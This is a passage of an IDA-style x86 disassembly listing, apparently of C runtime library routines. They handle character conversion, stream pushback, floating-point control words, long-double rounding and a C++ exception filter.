esi loc_423CF8: ; CODE XREF: sub_423BF4+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423D29 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2700000h cmp eax, ebx jz short loc_423D29 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call near ptr 260055Fh nop jmp short loc_423D2B ; --------------------------------------------------------------------------- loc_423D29: ; CODE XREF: sub_423BF4+61j ; sub_423BF4+9Bj ... xor eax, eax loc_423D2B: ; CODE XREF: sub_423BF4+93j ; sub_423BF4+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423BF4 endp ; =============== S U B R O U T I N E ======================================= sub_423D3D proc near ; CODE XREF: sub_41F4BF+61p ; sub_42037B+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DAB60 jb short loc_423D4C xor eax, eax retn ; --------------------------------------------------------------------------- loc_423D4C: ; CODE XREF: sub_423D3D+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DAA60[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423D3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423D63 proc near ; CODE XREF: sub_41F5D4+2D4p ; sub_41F5D4+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423D6F pop ebp retn ; --------------------------------------------------------------------------- loc_423D6F: ; CODE XREF: sub_423D63+8j cmp dword_4D97D0, 0 jnz short loc_423D8A mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423DBC push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423D8A: ; CODE XREF: sub_423D63+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43A88C push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4D97E0 call near ptr 28310EEh nop test eax, eax jz short loc_423DBC cmp [ebp+arg_0], 0 jz short loc_423DC9 loc_423DBC: ; CODE XREF: sub_423D63+1Ej ; sub_423D63+51j mov dword_4D9714, 2Ah or eax, 0FFFFFFFFh loc_423DC9: ; CODE XREF: sub_423D63+57j pop ebp retn sub_423D63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423DCB proc near ; CODE XREF: sub_420445+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423DEE cmp [ebp+arg_8], ebx jz short loc_423DEE mov al, [esi] cmp al, bl jnz short loc_423DF4 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423DEE mov [eax], bx loc_423DEE: ; CODE XREF: sub_423DCB+Cj ; sub_423DCB+11j ... xor eax, eax loc_423DF0: ; CODE XREF: sub_423DCB+42j ; sub_423DCB+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423DF4: ; CODE XREF: sub_423DCB+17j cmp dword_4D97D0, ebx jnz short loc_423E0F mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423E0A movzx ax, al mov [ecx], ax loc_423E0A: ; CODE XREF: sub_423DCB+36j ; sub_423DCB+C0j push 1 pop eax jmp short loc_423DF0 ; --------------------------------------------------------------------------- loc_423E0F: ; CODE XREF: sub_423DCB+2Fj mov ecx, off_43A680 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423E6C mov eax, dword_43A88C cmp eax, 1 jle short loc_423E53 cmp [ebp+arg_8], eax jl short loc_423E5D xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4D97E0 call near ptr 2700000h nop test eax, eax mov eax, dword_43A88C jnz short loc_423DF0 loc_423E53: ; CODE XREF: sub_423DCB+5Cj cmp [ebp+arg_8], eax jb short loc_423E5D cmp [esi+1], bl jnz short loc_423DF0 loc_423E5D: ; CODE XREF: sub_423DCB+61j ; sub_423DCB+8Bj ... mov dword_4D9714, 2Ah or eax, 0FFFFFFFFh jmp short loc_423DF0 ; --------------------------------------------------------------------------- loc_423E6C: ; CODE XREF: sub_423DCB+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4D97E0 call near ptr 2700000h nop test eax, eax jnz loc_423E0A jmp short loc_423E5D sub_423DCB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423EA0 proc near ; CODE XREF: sub_420445+797p ; sub_420445+7E7p cmp cl, 40h jnb short loc_423EBA cmp cl, 20h jnb short loc_423EB0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423EB0: ; CODE XREF: sub_423EA0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423EBA: ; CODE XREF: sub_423EA0+3j xor eax, eax xor edx, edx retn sub_423EA0 endp ; =============== S U B R O U T I N E ======================================= sub_423EBF proc near ; CODE XREF: sub_420EBB+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423F0B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423EDD test al, 80h jz short loc_423F0B test al, 2 jnz short loc_423F0B loc_423EDD: ; CODE XREF: sub_423EBF+14j cmp dword ptr [esi+8], 0 jnz short loc_423EEA push esi call sub_4238F7 pop ecx loc_423EEA: ; CODE XREF: sub_423EBF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423EFA cmp dword ptr [esi+4], 0 jnz short loc_423F0B inc eax mov [esi], eax loc_423EFA: ; CODE XREF: sub_423EBF+30j test byte ptr [esi+0Ch], 40h jz short loc_423F11 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_423F17 inc eax mov [esi], eax loc_423F0B: ; CODE XREF: sub_423EBF+9j ; sub_423EBF+18j ... or eax, 0FFFFFFFFh loc_423F0E: ; CODE XREF: sub_423EBF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_423F11: ; CODE XREF: sub_423EBF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_423F17: ; CODE XREF: sub_423EBF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423F0E sub_423EBF endp ; =============== S U B R O U T I N E ======================================= sub_423F2D proc near ; CODE XREF: sub_4214AB+52p xor eax, eax retn sub_423F2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423F30 proc near ; CODE XREF: sub_423F65+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_423F7B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42400D pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_423F30 endp ; =============== S U B R O U T I N E ======================================= sub_423F65 proc near ; CODE XREF: sub_421797+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_423F30 pop ecx pop ecx retn sub_423F65 endp ; =============== S U B R O U T I N E ======================================= sub_423F7B proc near ; CODE XREF: sub_423F30+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_423F8C push 10h pop eax loc_423F8C: ; CODE XREF: sub_423F7B+Cj test bl, 4 jz short loc_423F93 or al, 8 loc_423F93: ; CODE XREF: sub_423F7B+14j test bl, 8 jz short loc_423F9A or al, 4 loc_423F9A: ; CODE XREF: sub_423F7B+1Bj test bl, 10h jz short loc_423FA1 or al, 2 loc_423FA1: ; CODE XREF: sub_423F7B+22j test bl, 20h jz short loc_423FA8 or al, 1 loc_423FA8: ; CODE XREF: sub_423F7B+29j test bl, 2 jz short loc_423FB2 or eax, 80000h loc_423FB2: ; CODE XREF: sub_423F7B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_423FEA cmp edx, 400h jz short loc_423FE7 cmp edx, 800h jz short loc_423FE3 cmp edx, esi jnz short loc_423FEA or eax, edi jmp short loc_423FEA ; --------------------------------------------------------------------------- loc_423FE3: ; CODE XREF: sub_423F7B+5Ej or eax, ebp jmp short loc_423FEA ; --------------------------------------------------------------------------- loc_423FE7: ; CODE XREF: sub_423F7B+56j or ah, 1 loc_423FEA: ; CODE XREF: sub_423F7B+4Ej ; sub_423F7B+62j ... and ecx, edi pop esi jz short loc_423FFA cmp ecx, ebp jnz short loc_423FFF or eax, 10000h jmp short loc_423FFF ; --------------------------------------------------------------------------- loc_423FFA: ; CODE XREF: sub_423F7B+72j or eax, 20000h loc_423FFF: ; CODE XREF: sub_423F7B+76j ; sub_423F7B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42400C or eax, 40000h locret_42400C: ; CODE XREF: sub_423F7B+8Aj retn sub_423F7B endp ; =============== S U B R O U T I N E ======================================= sub_42400D proc near ; CODE XREF: sub_423F30+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42401D push 1 pop eax loc_42401D: ; CODE XREF: sub_42400D+Bj test bl, 8 jz short loc_424024 or al, 4 loc_424024: ; CODE XREF: sub_42400D+13j test bl, 4 jz short loc_42402B or al, 8 loc_42402B: ; CODE XREF: sub_42400D+1Aj test bl, 2 jz short loc_424032 or al, 10h loc_424032: ; CODE XREF: sub_42400D+21j test bl, 1 jz short loc_424039 or al, 20h loc_424039: ; CODE XREF: sub_42400D+28j test ebx, 80000h jz short loc_424043 or al, 2 loc_424043: ; CODE XREF: sub_42400D+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424070 cmp ecx, 100h jz short loc_42406D cmp ecx, esi jz short loc_424068 cmp ecx, edx jnz short loc_424070 or ah, 0Ch jmp short loc_424070 ; --------------------------------------------------------------------------- loc_424068: ; CODE XREF: sub_42400D+50j or ah, 8 jmp short loc_424070 ; --------------------------------------------------------------------------- loc_42406D: ; CODE XREF: sub_42400D+4Cj or ah, 4 loc_424070: ; CODE XREF: sub_42400D+44j ; sub_42400D+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424086 cmp ecx, 10000h jnz short loc_424088 or eax, esi jmp short loc_424088 ; --------------------------------------------------------------------------- loc_424086: ; CODE XREF: sub_42400D+6Bj or eax, edx loc_424088: ; CODE XREF: sub_42400D+73j ; sub_42400D+77j pop esi test ebx, 40000h pop ebx jz short locret_424095 or ah, 10h locret_424095: ; CODE XREF: sub_42400D+83j retn sub_42400D endp ; =============== S U B R O U T I N E ======================================= sub_424096 proc near ; CODE XREF: sub_424135+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4240DB inc esi cmp esi, 3 jge short loc_4240D6 lea eax, [eax+esi*4] loc_4240C8: ; CODE XREF: sub_424096+3Ej cmp dword ptr [eax], 0 jnz short loc_4240DB inc esi add eax, 4 cmp esi, 3 jl short loc_4240C8 loc_4240D6: ; CODE XREF: sub_424096+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4240DB: ; CODE XREF: sub_424096+27j ; sub_424096+35j xor eax, eax pop esi retn sub_424096 endp ; =============== S U B R O U T I N E ======================================= sub_4240DF proc near ; CODE XREF: sub_424135+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_424F2C add esp, 0Ch dec esi js short loc_424131 lea edi, [ebx+esi*4] loc_424118: ; CODE XREF: sub_4240DF+50j test eax, eax jz short loc_424131 push edi push 1 push dword ptr [edi] call sub_424F2C add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424118 loc_424131: ; CODE XREF: sub_4240DF+34j ; sub_4240DF+3Bj pop edi pop esi pop ebx retn sub_4240DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424135 proc near ; CODE XREF: sub_424290+81p ; sub_424290+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424199 inc ebx push ebx push [ebp+arg_0] call sub_424096 pop ecx test eax, eax pop ecx jnz short loc_424196 push edi push [ebp+arg_0] call sub_4240DF pop ecx mov [ebp+var_4], eax pop ecx loc_424196: ; CODE XREF: sub_424135+51j mov eax, [ebp+arg_4] loc_424199: ; CODE XREF: sub_424135+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4241B9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4241B9: ; CODE XREF: sub_424135+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424135 endp ; =============== S U B R O U T I N E ======================================= sub_4241C1 proc near ; CODE XREF: sub_424290+75p ; sub_424290+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4241CF: ; CODE XREF: sub_4241C1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4241CF pop esi retn sub_4241C1 endp ; =============== S U B R O U T I N E ======================================= sub_4241DC proc near ; CODE XREF: sub_424290+5Fp ; sub_424290+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4241DC endp ; =============== S U B R O U T I N E ======================================= sub_4241E8 proc near ; CODE XREF: sub_424290+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4241EE: ; CODE XREF: sub_4241E8+12j cmp dword ptr [eax], 0 jnz short loc_424200 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4241EE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_424200: ; CODE XREF: sub_4241E8+9j xor eax, eax retn sub_4241E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424203 proc near ; CODE XREF: sub_424290+C0p ; sub_424290+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424239: ; CODE XREF: sub_424203+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424239 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42426B: ; CODE XREF: sub_424203+86j cmp ebx, edi jl short loc_42427E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424285 ; --------------------------------------------------------------------------- loc_42427E: ; CODE XREF: sub_424203+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424285: ; CODE XREF: sub_424203+79j dec ebx sub ecx, 4 jns short loc_42426B pop edi pop esi pop ebx leave retn sub_424203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424290 proc near ; CODE XREF: sub_4243FC+Dp ; sub_424412+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4242FD lea eax, [ebp+var_C] xor esi, esi push eax call sub_4241E8 test eax, eax pop ecx jnz loc_4243BC lea eax, [ebp+var_C] push eax call sub_4241DC pop ecx loc_4242F5: ; CODE XREF: sub_424290+E4j push 2 loc_4242F7: ; CODE XREF: sub_424290+110j pop eax jmp loc_4243BE ; --------------------------------------------------------------------------- loc_4242FD: ; CODE XREF: sub_424290+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4241C1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424135 add esp, 10h test eax, eax jz short loc_42431E inc ebx loc_42431E: ; CODE XREF: sub_424290+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424336 lea eax, [ebp+var_C] push eax call sub_4241DC pop ecx jmp short loc_424372 ; --------------------------------------------------------------------------- loc_424336: ; CODE XREF: sub_424290+98j cmp ebx, eax jg short loc_424379 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4241C1 lea eax, [ebp+var_C] push esi push eax call sub_424203 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424135 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_424203 add esp, 20h loc_424372: ; CODE XREF: sub_424290+A4j xor esi, esi jmp loc_4242F5 ; --------------------------------------------------------------------------- loc_424379: ; CODE XREF: sub_424290+A8j cmp ebx, [edi] jl short loc_4243A5 lea eax, [ebp+var_C] push eax call sub_4241DC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_424203 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4242F7 ; --------------------------------------------------------------------------- loc_4243A5: ; CODE XREF: sub_424290+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_424203 pop ecx pop ecx loc_4243BC: ; CODE XREF: sub_424290+55j xor eax, eax loc_4243BE: ; CODE XREF: sub_424290+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4243ED mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4243F7 ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424290+14Ej cmp edi, 20h jnz short loc_4243F7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4243F7: ; CODE XREF: sub_424290+15Bj ; sub_424290+160j pop edi pop esi pop ebx leave retn sub_424290 endp ; =============== S U B R O U T I N E ======================================= sub_4243FC proc near ; CODE XREF: sub_424428+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43B008 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424290 add esp, 0Ch retn sub_4243FC endp ; =============== S U B R O U T I N E ======================================= sub_424412 proc near ; CODE XREF: sub_424455+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43B020 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424290 add esp, 0Ch retn sub_424412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424428 proc near ; CODE XREF: sub_4218D0+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4250CD push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4243FC add esp, 24h leave retn sub_424428 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424455 proc near ; CODE XREF: sub_4218D0+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4250CD push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424412 add esp, 24h leave retn sub_424455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424482 proc near ; CODE XREF: sub_42190E+65p ; sub_421A12+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4244BF mov [ebp+arg_0], ebx xor ebx, ebx loc_4244A5: ; CODE XREF: sub_424482+38j mov dl, [ecx] test dl, dl jz short loc_4244B1 movsx edx, dl inc ecx jmp short loc_4244B4 ; --------------------------------------------------------------------------- loc_4244B1: ; CODE XREF: sub_424482+27j push 30h pop edx loc_4244B4: ; CODE XREF: sub_424482+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_4244A5 mov edx, [ebp+arg_8] loc_4244BF: ; CODE XREF: sub_424482+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4244D8 cmp byte ptr [ecx], 35h jl short loc_4244D8 loc_4244CB: ; CODE XREF: sub_424482+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4244D6 mov byte ptr [eax], 30h jmp short loc_4244CB ; --------------------------------------------------------------------------- loc_4244D6: ; CODE XREF: sub_424482+4Dj inc byte ptr [eax] loc_4244D8: ; CODE XREF: sub_424482+42j ; sub_424482+47j cmp byte ptr [esi], 31h jnz short loc_4244E2 inc dword ptr [edx+4] jmp short loc_4244F4 ; --------------------------------------------------------------------------- loc_4244E2: ; CODE XREF: sub_424482+59j push edi call sub_41B960 inc eax push eax push edi push esi call sub_41D400 add esp, 10h loc_4244F4: ; CODE XREF: sub_424482+5Ej pop edi pop esi pop ebx pop ebp retn sub_424482 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4244F9 proc near ; CODE XREF: sub_42190E+3Fp ; sub_421A12+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42455D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4D9908 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_42559E mov dword_4D9930, eax add esp, 18h movsx eax, byte_4D990A mov dword_4D9928, eax pop edi movsx eax, word_4D9908 mov dword_4D992C, eax mov dword_4D9934, offset dword_4D990C mov eax, offset dword_4D9928 pop esi leave retn sub_4244F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42455D proc near ; CODE XREF: sub_4244F9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_4245AB cmp ebx, edi jz short loc_4245A4 lea edi, [ecx+3C00h] jmp short loc_4245CC ; --------------------------------------------------------------------------- loc_4245A4: ; CODE XREF: sub_42455D+3Dj mov edi, 7FFFh jmp short loc_4245CC ; --------------------------------------------------------------------------- loc_4245AB: ; CODE XREF: sub_42455D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4245C3 cmp edx, ebx jnz short loc_4245C3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_42460E ; --------------------------------------------------------------------------- loc_4245C3: ; CODE XREF: sub_42455D+52j ; sub_42455D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4245CC: ; CODE XREF: sub_42455D+45j ; sub_42455D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4245E4: ; CODE XREF: sub_42455D+A6j test ecx, esi jnz short loc_424605 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_424605: ; CODE XREF: sub_42455D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_42460E: ; CODE XREF: sub_42455D+64j pop edi pop esi pop ebx leave retn sub_42455D endp ; --------------------------------------------------------------------------- push 2 call sub_41E1C9 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42461C proc near ; DATA XREF: ___:0043AC40o ; ___:0043B4A8o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42463F cmp dword ptr [eax+10h], 3 jnz short loc_42463F cmp dword ptr [eax+14h], 19930520h jnz short loc_42463F jmp sub_42249C ; --------------------------------------------------------------------------- loc_42463F: ; CODE XREF: sub_42461C+Dj ; sub_42461C+13j ... mov eax, dword_4D9938 test eax, eax jz short loc_42465C push eax call sub_4246B8 test eax, eax pop ecx jz short loc_42465C push esi call dword_4D9938 jmp short loc_42465E ; --------------------------------------------------------------------------- loc_42465C: ; CODE XREF: sub_42461C+2Aj ; sub_42461C+35j xor eax, eax loc_42465E: ; CODE XREF: sub_42461C+3Ej pop esi retn 4 sub_42461C endp ; --------------------------------------------------------------------------- word_424662 dw 1C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc esi inc edx add [eax+1DBE99E8h], dl add ah, byte ptr dword_4D9938[ebx] retn ; --------------------------------------------------------------------------- byte_424673 db 0FFh ; DATA XREF: ___:00429040o dd 4D993835h, 87E89000h, 0C3021DBEh ; =============== S U B R O U T I N E ======================================= sub_424680 proc near ; CODE XREF: sub_421CE6+6Bp ; sub_4221F7+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 2600000h nop test eax, eax jz short loc_424698 xor esi, esi loc_424698: ; CODE XREF: sub_424680+14j mov eax, esi pop esi retn sub_424680 endp ; =============== S U B R O U T I N E ======================================= sub_42469C proc near ; CODE XREF: sub_4221F7+73p ; sub_4221F7+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 265071Ah test eax, eax jz short loc_4246B4 xor esi, esi loc_4246B4: ; CODE XREF: sub_42469C+14j mov eax, esi pop esi retn sub_42469C endp ; =============== S U B R O U T I N E ======================================= sub_4246B8 proc near ; CODE XREF: sub_4221F7+15Bp ; sub_42461C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call near ptr 25F0AEDh nop test eax, eax jz short loc_4246CC xor esi, esi loc_4246CC: ; CODE XREF: sub_4246B8+10j mov eax, esi pop esi retn sub_4246B8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42249C loc_4246D0: ; CODE XREF: sub_42249C:loc_4224EDj push 0Ah call 